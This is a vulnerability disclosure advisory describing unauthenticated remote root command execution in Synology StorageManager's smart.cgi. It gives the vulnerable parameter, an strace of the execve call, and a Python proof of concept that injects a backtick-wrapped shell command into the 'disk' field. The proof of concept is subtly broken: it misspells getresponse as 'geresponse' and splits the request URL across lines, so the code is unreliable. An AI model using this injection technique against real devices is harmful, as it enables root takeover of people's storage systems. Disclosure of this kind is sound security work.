SSD Advisory – Synology StorageManager smart.cgi Remote Command Execution

blogs.securiteam.com/index.php/archives/3540

Want to get paid for a vulnerability similar to this one?
Contact us at: sxsxdx@xbxexyxoxnxdxsxexcxuxrxixtxy.xcom
See our full scope at: https://blogs.securiteam.com/index.php/product_scope

Vulnerability Summary
The following advisory describes a remote command execution vulnerability found in Synology StorageManager.

Storage Manager is “a management application that helps you organize and monitor the storage capacity on your Synology NAS. Depending on the model and number of installed hard drives, Storage Manager helps you accomplish the following tasks:

- Create different types of RAID and non-RAID storage configurations, such as volumes, disk/RAID groups, iSCSI LUNs, and iSCSI Targets.
- Monitor the overall storage usage of your Synology NAS.
- Inspect the health of installed hard drives and solid state drives.
- Use advanced options, such as hot spare drives, SSD TRIM, SSD cache, and more.”

Credit
An independent security researcher, Nigusu Kassahun, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program

Vendor response
Synology has released patches to address this vulnerability – DSM 5.2-5967-5

For more information: https://www.synology.com/en-global/releaseNote/DS210+

Vulnerability details
User controlled input is not sufficiently sanitized, and then passed to *execve* function.

Successful exploitation of this vulnerability enables a remote unauthenticated user to run commands as root on the machine.

The vulnerable parameter can be found in */webman/modules/StorageManager/smart.cgi* with parameter *action=apply&operation=quick&disk=%2Fdev%2Fsda*

Strace

```
execve("/usr/syno/bin/smartctl", ["/usr/syno/bin/smartctl", "-d", "ata", "-
t", "short", "/dev/sda"], ["GATEWAY_INTERFACE=CGI/1.1",
"CONTENT_TYPE=application/x-www-form-urlencoded; charset=UTF-8",
"HTTP_X_REQUESTED_WITH=XMLHttpRequest", "REMOTE_ADDR=192.168.56.1",
"QUERY_STRING=", "REMOTE_PORT=34708", "DOCUMENT_ROOT=/usr/syno/synoman",
"HTTP_USER_AGENT=Mozilla/5.0 (X11; Linux i686; rv:47.0) Gecko/20100101
Firefox/47.0", "SERVER_SIGNATURE=",
"HTTP_ACCEPT=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
, "CONTENT_LENGTH=42",
"SCRIPT_FILENAME=/usr/syno/synoman/webman/modules/StorageManager/smart.cgi",
"HTTP_HOST=192.168.56.101:5000",
"REQUEST_URI=/webman/modules/StorageManager/smart.cgi",
"SERVER_SOFTWARE=Apache", "HTTP_CONNECTION=close",
"MOD_X_SENDFILE_ENABLED=yes",
"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/syno/sbin:/usr/syno/bin:/usr/local/s
bin:/usr/local/bin", "HTTP_ACCEPT_LANGUAGE=en-US,en;q=0.5",
"HTTP_REFERER=http://192.168.56.101:5000/webman/index.cgi",
"SERVER_PROTOCOL=HTTP/1.1", "HTTP_ACCEPT_ENCODING=gzip, deflate",
"SCRIPT_URI=http://192.168.56.101:5000/webman/modules/StorageManager/smart.cg
i", "SCRIPT_URL=/webman/modules/StorageManager/smart.cgi",
"REQUEST_METHOD=POST", "SERVER_ADMIN=admin", "SERVER_ADDR=192.168.56.101",
"PWD=/usr/syno/synoman/webman/modules/StorageManager", "SERVER_PORT=5000",
"SCRIPT_NAME=/webman/modules/StorageManager/smart.cgi",
"SERVER_NAME=192.168.56.101"]) = 0
```

Proof of Concept

```
# Synology StorageManager <= 5.2 Remote Root Command Execution

import httplib

HOST = raw_input("Enter Host: ")

#IDOR to bypass auth and ticks to chain commands
conn = httplib.HTTPConnection(HOST)
conn.request("GET","/webman/modules/StorageManager/smart.cgi?
action=apply&operation=quick&disk=/dev/sda`id%20>/tmp/LOL`")
res = conn.geresponse()
print res.status, res.reason
```